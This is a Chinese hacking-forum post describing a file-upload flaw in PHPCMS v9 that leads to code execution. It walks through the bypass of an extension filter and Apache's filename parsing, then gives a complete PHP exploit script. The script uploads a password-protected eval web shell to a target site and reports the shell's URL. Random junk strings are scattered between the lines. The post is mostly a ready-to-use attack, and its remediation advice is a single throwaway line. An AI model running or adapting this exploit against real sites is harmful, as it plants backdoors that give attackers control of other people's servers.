中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
* r9 R! d9 i0 k' T) o, S
/ p- X( Z) A, y2 ]
简要描述:
$ a% M, u. _3 [% d/ g
1 o- U. c- ^5 H" y& Q$ e
phpcms v9 getshell (apache)
5 V, f2 n9 S2 h9 J' [
详细说明:
6 | ? b8 ]5 j7 W8 N; {1 p
% U$ w1 g. s5 v
漏洞文件:phpcms\modules\attachment\attachments.php
7 P' s* U- X! l
- `% f4 F5 w5 Z5 d
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
. ?% d: ^. [7 p" A1 f
后缀检测:phpcms\modules\attachment\functions\global.func.php
& l4 F) J) X7 Q
! n8 J2 t; w: X7 H* z
/ P! L2 M* U$ E& K O
) n) z2 I; G0 L. V2 m- ^5 Q* K% G$ t
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
% E0 a1 `* O( w& u8 P) y
$ A0 i8 ]9 p: S' L, u
关键函数:
) E x/ l% E' ^) [ J; e
" ]2 p7 B/ W' ]; M3 X7 a7 j
9 l0 C m# T) M# c' u
+ X5 o' \1 z4 c) t, ^- A4 j
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
+ o5 @$ @: p4 K( z$ r7 n. V7 H$ k
n( H( h3 d: H- r" g6 x( Q1 F! t
Fileext函数是对文件后缀名的提取。
0 x, X4 X" \; V6 G
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
. K! y; q6 V+ ^8 P: _/ B& T
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
* t) ~1 {% F+ o3 Z& d' h1 ^
我们回到public function crop_upload() 函数中
& |) B( j# X& }* H
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
7 ^; D" s; v% n# ?" _
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
% [, G% W: v {2 H
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
3 U" _# ]* b' T8 a7 H
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
. V( o: b+ u1 D2 E8 [$ A( \" T
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
8 C" l- b: Y, w" F2 k
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
8 h+ N# A, F( Z2 q& w; K7 d
漏洞证明:
% W& R! s" u/ ]. z, T
7 {" \; P2 C' V0 ` n
exp:
- V3 e* u* M8 A3 }+ f
# f7 A$ x$ M% f8 ~, h5 f: p# l
<?php
; S* X% l+ q" h2 k/ P# g8 x( [
error_reporting(E_ERROR);
" b& g2 D: I) p* m
set_time_limit(0);
6 C8 \# p: b3 J; T! L6 G
$pass="ln";
+ X* n* I- w1 f8 R! R. n
print_r('
. T- \1 f, g5 d: H. l! T
+---------------------------------------------------------------------------+
" J3 c% d3 ~+ z7 ?0 N/ G" T1 f
PHPCms V9 GETSHELL 0DAY
; d! z+ \9 f0 |; i% }* C
code by L.N.
Z" b& W& Y& U! x8 P2 n4 |
) y+ G" j8 M* c
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
' E$ g6 A; T& J, v P) G( p* d
+---------------------------------------------------------------------------+
x/ g" E6 T K
');
4 W+ W5 _7 K0 A. B- I0 r, U- L
if ($argc < 2) {
: Z; F5 h) P5 T: `2 r' e
print_r('
& {, w4 _5 f/ J
+---------------------------------------------------------------------------+
! Y; \7 o/ t8 e
Usage: php '.$argv[0].' url path
& W7 y$ m; H" C" }
3 N2 D& W0 Y6 b, `8 _1 p
Example:
, W$ G0 o& b6 q& Y: F7 z- c
1.php '.$argv[0].' lanu.sinaapp.com
- E2 `2 c# o5 R3 Z
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
0 x% W. t2 M: V4 j T1 j
+---------------------------------------------------------------------------+
2 e* o5 f" i( [! l5 ]9 v- [$ n
');
( t+ ~3 T: d- G1 X* R
exit;
q0 `1 t5 D: X5 c
}
. P3 \6 ^6 a& D
! s3 Z A3 k4 G/ D! }
$url = $argv[1];
" ^/ W8 c& ]. a! @# F* _
$path = $argv[2];
" ]+ I) K6 u4 y, y: c, n' m
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
% v X& C5 ~& N, G& Y
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
6 ?8 I' `; E- G
if($ret=Create_dir($url,$path))
5 n6 U* x$ l- \( B
{
6 _0 ]0 v; N8 G8 n) l3 V
//echo $ret;
0 f9 \; K3 m# r; |5 v, e- G8 k
$pattern = "|Server:[^,]+?|U";
( U& m8 r- H% o G9 h" C# r1 H9 ~/ G G
preg_match_all($pattern, $ret, $matches);
# n* S6 i% d6 A6 a+ U+ J/ b! p
if($matches[0][0])
' b" O# l0 u) \& t# J' B
{
1 V# f3 [( C8 Z+ O
if(strpos($matches[0][0],'Apache') == false)
$ J2 Z# L3 v8 R" `8 X. R. G8 K0 S
{
5 A' A! b {: o, [6 j8 k6 F, w- {/ c8 U
echo "\n亲!此网站不是apache的网站。\n";exit;
- X1 `8 H- i6 R n
}
. y; z$ _3 e# a' w7 x1 I m6 Y
}
: j! ~0 t' f+ Y; T9 T# ~( s
$ret = GetShell($url,$phpshell,$path,$file);
! O' Q) p3 ^2 q! B7 ~( U( \' P
$pattern = "|http:\/\/[^,]+?\.,?|U";
/ _& v: F5 e- p! M: j* b6 g
preg_match_all($pattern, $ret, $matches);
$ s# s9 w9 g! O" p# k. o8 C
if($matches[0][0])
& E$ g7 n& I- Z; g# ^, T
{
2 Z# B) @0 R- H) [
echo "\n".'密码为: '.$pass."\n";
4 ?5 l4 K6 [# {, e
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
7 O. |( B- K6 p* c5 ]
}
2 L, W9 L: o$ m1 b" Q
else
$ S G- m3 A* v0 T5 e
{
/ v" x. L, ]7 m! W/ n5 n
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
! p% S8 K4 j1 F' e
preg_match_all($pattern, $ret, $matches);
; X7 Y. Y! t/ D1 t# g
if($matches[0][0])
" B7 H+ S, `% S
{
0 Y5 M% l9 S- \! \ U
echo "\n".'密码为: '.$pass."\n";
1 n4 \( ]- f$ [2 E
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
' {, z: y/ g1 q5 i5 d. r
}
F- g% O9 `: b7 S
else
, H) x3 z# X/ O4 Z, l
{
8 ` t& z" F+ F' ~0 g
echo "\r\n没得到!\n";exit;
& E$ Y# r" L2 e
}
+ M5 ?: P3 W5 Y6 P' s* [+ E+ N
}
* }0 M$ s1 _0 r, Q
}
- K. T5 g5 M# C9 x5 e
) V6 d: ]. t2 V) e) q. x v8 A! E
function GetShell($url,$shell,$path,$js)
# e8 z1 |# n$ Z7 {2 L
{
. L7 ~. m/ ?5 I) l# b& w
$content =$shell;
: j. c/ |& G7 k# K# o/ H
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
, j9 b4 x0 \" H P: x: I) g) f4 R
$data .= "Host: ".$url."\r\n";
3 `1 x5 a3 \5 R1 a* M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
1 C$ s$ |: z/ ]* |: q9 G9 ?
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
* q4 i. Y$ _: ?8 H2 E
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
{3 A9 M" M5 L3 u1 F( F/ [
$data .= "Connection: close\r\n";
- y1 Z6 c$ f! i' J' R* m6 {$ P9 a
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, u5 C* ^; c0 I
$data .= $content."\r\n";
6 `: ?3 |2 ^4 c+ L3 z
$ock=fsockopen($url,80);
) K- P! J- X' R7 d8 A/ [
if (!$ock)
! ]- w. e% K. M- D2 Y* u- R) ~( u) x9 Q% T
{
* h# p. m, a) `1 `. A
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
) T* B: G) O( C6 b: E3 s
}
! Y: z4 q, M2 Z9 f' t+ h6 w
else
$ z. F/ d; W8 \4 ?* Y
{
3 z! Q7 N, f% p1 O% Z
fwrite($ock,$data);
1 ^% e9 i4 I" K, [. o
$resp = '';
% G: z' ]$ ?, d) d
while (!feof($ock))
8 j' Q- o5 @4 u% ~1 l0 i
{
% d9 L6 M* T% y7 m& e6 ]
$resp.=fread($ock, 1024);
" Z- `. x9 p# r
}
! i! Q, ^% _0 I8 x8 I& W
return $resp;
! f& t. J$ r4 {4 @+ O! X
}
% X: L- p6 j8 G* k% X4 t
}
. R7 a% Z9 Q" R6 n- d
9 \" w3 i' t- E
function Create_dir($url,$path='')
n- |6 P# ` H1 @; s
{
2 ~, j# v) e+ B# n8 Q
$content ='I love you';
* X6 A9 c4 [3 l# M- d8 I1 R: @
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
. e T1 U& ~; @# @4 |% g
$data .= "Host: ".$url."\r\n";
; |6 b" ^( w, Y9 E% G
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
; W0 y& U! Y4 v- T0 T
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
3 Y Q3 S2 x* M- a$ Q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
" j* ]. j6 i( f2 L: x6 C1 d
$data .= "Connection: close\r\n";
( t6 {% }0 L( r& `% b
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 f" a5 k8 A1 a: q$ |
$data .= $content."\r\n";
$ k8 }7 t4 I9 u0 ~6 ^
$ock=fsockopen($url,80);
# b/ V; q5 @* A" [8 j# x4 K) ]
if (!$ock)
, t$ C0 I/ ]5 A- |+ x; G
{
6 y6 [5 J l$ }7 I! E5 |
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
' }; m; O% k Q5 q! r3 V
}
6 V8 d8 g' ^4 u5 \3 A2 q J( ]
fwrite($ock,$data);
1 V7 M( d6 R0 I4 }: |
$resp = '';
: a# Y1 d: a6 t' u$ B: L6 G( L( z' r
while (!feof($ock))
- R/ G% }. S) E( {2 h9 H8 H. b
{
1 _ b) V% y. x) t
$resp.=fread($ock, 1024);
8 u; o; M4 ?- ]3 w1 ~
}
- H7 R" V o; ?0 Q9 j0 Q2 A* s
return $resp;
: }% \" B0 ~* H9 Q- V [! U9 y
}
* j$ D2 h8 z1 J! N0 {
?>
, h. | G, B6 A+ L/ a0 E7 W
2 X: g/ j5 Q" a: ?
修复方案:
! ~6 ]' d. ?0 F- P- E
" m( Q, O! x0 ?- o( u
过滤过滤再过滤
5 S6 ?0 |; U; I# B. W7 ` D6 g
: S9 r- o) m" v) y! K
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2